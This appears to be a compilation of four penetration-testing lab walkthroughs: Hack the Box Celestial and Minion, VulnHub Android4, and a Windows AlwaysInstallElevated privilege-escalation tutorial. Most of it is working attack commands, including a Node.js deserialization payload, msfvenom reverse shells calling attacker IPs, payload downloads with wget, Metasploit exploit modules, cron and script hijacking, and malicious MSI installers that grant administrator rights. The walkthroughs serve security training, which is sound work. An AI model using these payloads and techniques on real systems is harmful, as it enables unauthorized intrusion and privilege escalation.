Hack the Box: Celestial Walkthrough

Hello friends!! Today we are going to solve another CTF challenge “Celestial” which is lab presented by Hack the Box and is available online for those who want to increase their skill in penetration testing and black box testing. Celestial is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Intermediate

Task: find user.txt and root.txt file in victim’s machine.

WalkThrough

Since these labs are online available therefore they have static IP. The IP of Celestial is 10.10.10.85 

Let’s start off with scanning the network to find our target.

nmap -A 10.10.10.85

The NMAP output shows us that the port TCP 3000 is opened on the target machine  Let’s try to access the website on a Non-standard HTTP port (3000) as follows :

Browse to http://10.10.10.85:3000 and we will be greeted with the following page

As we didn’t find any other clue to move forward after navigating through many other possibilities; we quickly moved further to understand the website request via Burpsuite tool. Therefore, upon capturing the webpage’s GET request, we noticed the profile= Cookie parameter (highlighted in red)

Copy the entire value inside the profile= cookie parameter and paste it in the Burpsuite decoder .

eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ%3D%3D

On decoding the same we will get the output in base64 format . Once again , we will decode the base64 format output and would be able to see the results in clear text format. The output displays username and other details of a specific user This is an indication that we can insert our code in the cookie profile parameter value to get the desired results.

On further investigation , we came to know that this is a Node JS deserialization bug for the purpose of remote code execution . Further details of the same are mentioned in the below website .If we read the entire content of the website , we will observe that there is a function which contains a particular string comprising of multiple numeric values.

https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/

Copy the entire numeric content (after String.fromCharCode) starting from 10 till 10 . Navigate to the URL https://www.rapidtables.com/convert/number/ascii-hex-bin-dec-converter.html and convert Decimal to ASCII as shown in the screenshot below

Now let’s change the contents of the ASCII text and replace the HOST and PORT parameter details with the HOST=10.10.14.3 and PORT= 4444, where 10.10.14.3 is our Kali machine IP . Once done, we will get the equivalent output in the Decimal format as shown below

Copy the decimal output from the above screenshot starting from 118 and ending with 10, with each number , separated by a comma.

Note : As we can see that the decimal output in the above output is separated by a space , hence we need to either do it manually OR need to refer to the following Python script method so as to include the comma values , before proceeding further

https://github.com/Sayantan5/Holiday/blob/master/encode.py

Once the decimal output (separated by comma) is ready , we need to now paste it inside the code shown below (replace the value with decimal output) and perform the Base64 encode of the same

echo {"username":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(value) )}()"} | base64 -w0

Copy the encoded output above and paste it in front of the Profile= parameter of the Burpsuite as shown in the image below.

Once done we need to click on the Forward option , in Burpsuite Intercept tab

Note : Before forwarding the modified content in Burpsuite , we should setup the netcat listener in Kali machine and keep it ready .

nc -lvp 4444

In order to access proper TTY shell , we had imported python one line script by typing following:

python -c 'import pty;pty.spawn("/bin/bash")'

Hurray !! We got into the reverse shell of the target machine

Lets have a quick look at the contents

ls

We navigated to many folders , however found interesting stuff in the Documents folder

cd Documents

Here we can see that there is a user.txt file , lets read it contents

cat user.txt

Finally , we got our first flag i.e  output of user.txt file 

Now upon further navigation , we also opened the script.py file because of our curiosity to examine the contents of the same . If we do cat script.py , the output displays as print “Script is running”

cat script.py

print “Script is running..”

Note : This is an indication that we may need to examine the log files to see which script is running and if it is running on a periodic basis

The best step to move forward is to examine the contents of the log directory in var

cd /var/log

Let’s see the files listed over here

ls

As we can see that there are multiple syslog files being generated in this folder . The old logs are being zipped and numbered accordingly .The latest logs are always stored in the log file named syslog .So we will open the contents of the syslog file and try to find out if there is something interesting going on.

cat syslog

We will notice that there is a cronjob running every 5 minutes , which is copying the output of script.py file (in the home/sun/Documents folder) to the output.txt file

Now we can try to put our own content in the script.py file . For this let’s generate a Reverse shell with the following command

msfvenom -p cmd/unix/reverse_python lhost=10.10.14.3 lport=1234 R

Copy the contents of msfvenom output and save it on Kali Desktop named as script.py ,which will be further used in the subsequent steps

Now run the web server on the Kali machine

python –m SimpleHTTPServer 80

Lets read the contents of the script.py .The output displays as print “Script is running..”

cat script.py

Lets move this original python script (script.py) by renaming it to script.py.original as shown below

mv script.py script.py.original

Download our newly created script.py from the Kali machine Desktop

wget http://10.10.14.3/script.py

Open a netcat reverse shell

nc -lvp 1234

In order to access proper TTY shell , we had imported python one line script by typing following:

python -c 'import pty;pty.spawn("/bin/bash")'

Hurray!! We got into the root

Navigate to the root directory

cd /root

Let’s see what content it has .

ls

As we can see it contains 2 files root.txt and script.py . Lets open root.txt file

cat root.txt

Wonderful!! We have gained access to both user.txt and root.txt files and hacked this box.

Hack the Android4: Walkthrough (CTF Challenge)

Hello everyone and welcome to yet another CTF challenge walkthrough. This time we’ll be putting our hands on Android4 which is made by Touhid Shaikh. You can find the link to download this vulnerable VM here (https://www.vulnhub.com/entry/android4-1,233/).

The level of this vulnerable vm, that I would rate, is beginner.

Steps involved:

1. Port scanning and IP discovery

2. Attacking port 8080 proxy using adb_server_exec

3. Connection to the device using ADB.

4. Shell grabbing.

5. Privilege escalation and reading congratulatory flag.

Let’s get started then!

First we’ll grab the IP address using netdiscover utility present in Kali Linux.

netdiscover

In my case the IP address is 192.168.1.105

The second step is as usual port scanning. In this scan we’ll be using an all port aggressive scan using the most popular tool nmap.

nmap - p -  -A 192.168.1.105

From this we established that there is some kind of web page related to the port 8080.

Without any delay we opened the webpage but found nothing.

Anyone would establish that there is some kind of verbal tampering involved using POST method. We tried but didn’t find anyting useful.

After trying a few other methods (PHP CLI and Dropbear RCE) here is one method that we found the best for our cause.

Android Debug Bridge (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as installing and debugging apps, and it provides access to a Unix shell that you can use to run a variety of commands on a device. It is a client-server program that includes three components:

·      A client, which sends commands. The client runs on your development machine. You can invoke a client from a command-line terminal by issuing an adb command.

·      A daemon (adbd), which runs commands on a device. The daemon runs as a background process on each device.

·      A server, which manages communication between the client and the daemon. The server runs as a background process on your development machine.

When you start an adb client, the client first checks whether there is an adb server process already running. If there isn't, it starts the server process

To start an ADB server we used metasploit:

use exploit/android/adb/adb_server_exec

set RHOST 192.68.1.105

set payload linux/armle/shell_reverse_tcp

set LHOST 192.168.1.108

set LPORT 3333

exploit

(It is quite possible that the local port won’t accept connection. In such a case, we change the default port from 4444 to 3333s)

If you don’t have adb installed you can install it by sudo apt-get install adb

Once the status shows “Connecting to device, ” on a new terminal window type the command:

adb connect 192.168.1.105:5555

adb shell

In shell:

ls

to go to the defaullt directory:

cd

su

Voila! We got a root shell!

In /data directory we found a folder called “root”

cd /data

ls

Final step was reading the congratulatory flag:

cd /root

ls

cat flag.txt

Hack the Box: Minion Walkthrough

Hello friends!! Today we are going to solve another CTF challenge “Minion” which is available online for those who want to increase their skill in penetration testing and black box testing. Minion is retired vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level; they have the collection of vulnerable labs as challenges from beginners to Expert level.

Level: Expert

Task: find user.txt and root.txt file on victim’s machine.

Since these labs are online available therefore they have static IP and IP of Minion is 10.10.10.57 so let’s begin with nmap port enumeration.

nmap -sV -p- 10.10.10.57 –open

From given below image, you can observe that we find port 62696 is open on target system.

As port 62696 is running IIS http service, we open the IP address in our browser on port 62696.

We don’t find anything on the webpage, so we run dirb to enumerate the directories. As the target machine is running Microsoft IIS server we try to find .asp file.

dirb http://10.10.10.57:62696 -X .asp

Dirb scan gave us a link to page called test.asp, we open the link and find a page that is asking for u as its parameter.

After enumerating this system, we find that this page is vulnerable to SSRF. So when we try access localhost we find a link called system commands.

As we are not directly accessing the page, we take a look at the source code and find the link to system command.

We open it using SSRF and find a form that can be used to execute our commands.

When we try to execute a command we are unable to. So we take a look at the source code of the page and find the parameter that is being used to pass the command we type.

After finding the parameter we use it pass our command and we find that we only get a response in terms of Exit Status. Exit Status = 1 for successful and Exit Status = 0 in case of errors.

Now when we try to get a reverse shell we are unable to, it is possible that TCP and UDP packets are blocked. So we ping ourselves using this RCE vulnerability to check if ICMP packet is allowed.

We setup tcpdump to capture the icmp packets and find that icmp packets are allowed.

tcpdump -i tun0 icmp

We create an icmp reverse shell because few characters are blacklisted on the server.

We run it on the vulnerable page that we found earlier.

We create our custom reverse shell (you can download here), we run it and after a few moments we get a reverse shell. We take look at the c:\ directory and find a directory called “sysadmscripts”.

We go to root directory and find two files called “c.ps1” and “del_logs.bat”.

We take a look at the content of the file, and find that c.ps1 writes something inside a file that is passed as its argument. In “del_logs.bat” file it creates logs inside log.txt inside c:\windows\temp\ directory and find that the time is changed every 5 minutes.

Now we check the permissions for both of these files with icacls and find that we have full

permissions over c.ps1.

icacls c.ps1

Now we change the original c.ps1 with our file, so that we can try and get the user.txt and root.txt.

echo "dir c:\users\administrator\Desktop > c:\temp\output.txt" > c:\temp\test.ps1

echo "dir c:\users\decoder.MINION\Desktop >> c:\temp\output.txt" >> c:\temp\test.ps1

echo "copy c:\users\administrator\Desktop\root.txt c:\temp\root.txt" >> c:\temp\test.ps1

echo "copy c:\users\decoder.MINION\Desktop\* c:\temp\" >> c:\temp\test.ps1

(Get-Content c:\temp\test.ps1) | ForEach-Object { $_ -replace """", "" } | Set-Content c:\temp\test.ps1

copy c:\sysadmscripts\c.ps1 c:\temp\c.ps1.bak

copy c:\temp\test.ps1 c:\sysadmscripts\c.ps1

We wait for few minutes for the powershell script to get executed and find that we were able to successfully able to extract “user.txt”. We open the file and find the first flag. We also zip file called “backup.zip”. Before looking in the zip backup file, we take a look at the content of “output.txt” and find that the file was in “c:\users\decoder.MINION\Desktop” directory.

Enumerating further backup.zip file we extract PASS from alternate data stream files.

get-content c:\temp\backup.zip -str pass

We decode the NTLM hash using hashkiller.co.uk and find the password to be 1234test.

We mount the C$-Share using the credentials we found by cracking the hash.

net use * \\minion\c$ /user:minion\administrator 1234test

As we can see the hard disk got mounted as “Drive Z:”. We go to Z: drive and inside “z:\User\Administrator\Desktop”. We find two files called root.txt and root.exe, when take a look at the content of “root.txt” it tells us to run “root.exe”. We try to run root.exe but are unable to get a flag because we are not Administrator yet.

Let’s set users as administrator using $user and giving the password using $pass and then convert the string using convert-to-securestring-asplaintext-force using the PSCredetail we created the a new object that further will help us to create a new session which will run the commands as administrator. Lastly we will run the root.exe using the invoke-command. And as you can see in the given screenshot we have decoded successfully the securestring.

$user = “minion\administrator”

$pass = “1234test” | convert to-securestring – asplaintext –force

$cred = new-object –typename System.Managemet.Automation.PSCredential –argumentlist $user, $pass

$session = new-pssession minion –Credential $cred

invoke-command –Session $session {cd C:\users\administrator\desktop; .\root.exe}

Windows Privilege Escalation (AlwaysInstallElevated)

Hello Friends!! In this article we are demonstrating the Windows privilege escalation method via the method of AlwaysInstallElevated policy. In penetration testing, when we spawn command shell as local user, it is possible to exploit the vulnerable features (or configuration settings) of Windows Group policy, to further elevate them to admin privileges and gain the administrator access

Table of Content

• Introduction
• Lab setup
• Spawn command shell as local user
• Escalate privilege manually via .msi payload (MSfvenom)
• Escalated privilege via Adding user Administrators Group (Msfvenom)
• Escalate privilege via Post exploit (Metasploit)

Introduction

AlwaysInstallElevated Policy

As we all are aware that Windows OS comes installed with a Windows Installer engine which is used by MSI packages for the installation of applications. These MSI packages can be installed with elevated privileges for non-admin users

For this purpose the AlwaysInstallElevated policy feature is used to install a MSI package file with elevated (system) privileges. This policy if enabled in the Local Group Policy editor; directs the Windows Installer engine to use elevated permissions when it installs any program on the system. This method can make a machine vulnerable posing a high security risk, because a non-administrator user can run installations with elevated privileges and access many secure locations on the computer.

Caution Note: This option is equivalent to granting full administrative rights, which can pose a massive security risk. Microsoft strongly discourages the use of this setting. Hence this should be used for the lab purposes only (and not in Production environment)

Lab set-up

Victim’s Machine: Windows 7

Attacker’s machine: Kali Linux

To make this policy effective [i.e install a package with elevated (system) privileges], we need to ensure that victim machine is deliberately made vulnerable by enabling the AlwaysInstalledElevated Policy in the Computer Configuration and User Configuration folders of the Local Group Policy editor

1. Open the Local Group Policy editor

Type gpedit.msc in the Run dialog box of the Start Menu in the Windows 7 machine and the Local group Policy editor window prompt will open

2. Change the settings of AlwaysInstalledElevated policy

a. For the Computer configuration

Navigate to the below path in the Windows machine

Computer Configuration\Administrative Templates\Windows Components\Windows Installer

Enable the Always install with elevated privileges

b. For the User configuration

Navigate to the below path in the Windows machine

User Configuration\Administrative Templates\Windows Components\Windows Installer

Enable the Always install with elevated privileges

This completes the lab setup on the Windows machine .Now let’s proceed to our actual task.

Spawning Victim’s Machine

We need to compromise the Windows victim machine at least once to gain the meterpreter session. As you can observe that we already have victim’s metrepreter session. Let’s open the msfconsole and check the existing current sessions

msfconsole

sessions

As we can see that there exists a session already with the ID 1 . Now let’s open the session 1 and extract the user details

Meterpreter > sessions 1

Meterpreter >getuid

As we can see that we are logged into this session with the username as raj.

Note : The existing user “raj” already exists in the Windows 7 victim machine and is a non-admin user

Now let’s open the command shell of the target machine

Meterpreter >shell

Upon executing the shell command, we would land into the user’s Downloads folder C:\Users\raj\Downloads

We will now run the registry query command on this command prompt so as to verify whether the Windows installer have elevated privileges or not, as per our settings configured earlier

reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

As we can see from the output that the registry named “AlwaysInstallElevated” exists with a dword (REG_WORD) value of 0x1, which means that the AlwaysInstallElevated policy is enabled.

Privilege Escalation via .msi payload (1^st Method)

Now let’s open a new terminal in Kali machine and generate a MSI Package file (1.msi ) utilizing the Windows Meterpreter payload as follows

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.120 lport=4567 –f  msi > /root/Desktop/1.msi

On the existing Meterpreter session of the user, let’s upload our MSI file named 1.msi to the target machine as follows. Once it is uploaded successfully, we will then jump to the shell

upload /root/Desktop/1.msi  .

Note: Before executing the MSI Package file, let's start a MSF handler in another terminal window

(Refer to the commands for same, after the below screenshot)

Execute the MSI package file on the Windows command prompt

msiexec /quiet /qn /i  1.msi

/quiet = Suppress any messages to the user during installation
/qn = No GUI
/i = Regular (vs. administrative) installation

In a parallel window, we opened a new handler before executing the .msi file

msf > use exploit/multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.120

msf exploit(handler) > set lport 4567

msf exploit(handler) > exploit

Finally we got the meterpreter session using this exploit!!  Let’s have further look at the details of the user privileges we gained on this system

Meterpreter > getsystem

Meterpreter > getuid

Fantastic!! We have rooted to the Local System account (NT AUTHORITY\SYSTEM) which has the highest level of privileges on the local system.

Adding user in Administrators Group (2^nd Method)

In this method we will choose a non-admin user from the existing list of users in the target machine and then try to elevate his privileges. Here we will send the relevant Windows commands (to the target machine) , utilizing the windows/exec payload of the Metasploit.

First let us check the details of existing users in the victim machine. Here we can select any user , lets; select a user named “raaz” who is a non-admin user

net user

The verification that the user name “raaz” is in the Local Users group can be done by running the following in the command prompt

net user raaz

Generate a MSI package (2.msi ) with the windows/exec payload, that sends a command instructing to add local admin privileges for the user “raaz” , to the target machine.

msfvenom -p windows/exec CMD='net localgroup administrators raaz /add' -f  msi > /root/Desktop/2.msi

Now let’s upload the MSI file 2.msi to the target machine as follows

Note : Before uploading the MSI file , press Ctrl+Z to exit out of the victim machine’s command shell

In the meterpreter shell type

upload /root/Desktop/2.msi  .

Once the MSI file is uploaded successfully, we will take the command shell and execute the installer file

shell

msiexec /quiet /qn /i  2.msi

The verification that the user name “raaz” has been added into the local administrator group can be done by running the following in the command prompt

net user raaz

As we can see from the screenshot the user raaz is now member of Local Administrators group

Awesome !! We have got the privileges of the non-admin user escalated via using the manual exploit .

Privilege Escalation via Metasploit Post Exploit (3^rd Method)

In order to perform the Privilege escalation abusing the AlwaysInstalledElevated policy , we can also utilize the inbuilt exploit of the Metasploit module as follows :

Now let’s use this exploit

use exploit/windows/local/always_install_elevated

msf exploit(always_install_elevated) > set session 1

msf exploit(always_install_elevated) > exploit

We got the meterpreter session using the in-built exploit as well !! Now lets have further look at the details of the user privileges

Meterpreter > get system

Meterpreter > getuid

Hurrah!! We have rooted to the Local System account (NT AUTHORITY\SYSTEM) which has the highest level of privileges on the local system

Note : We have shown one of the methodologies to elevate the privileges .This lab can be performed in multiple ways , as there are many other methods of performing the Windows privilege escalation.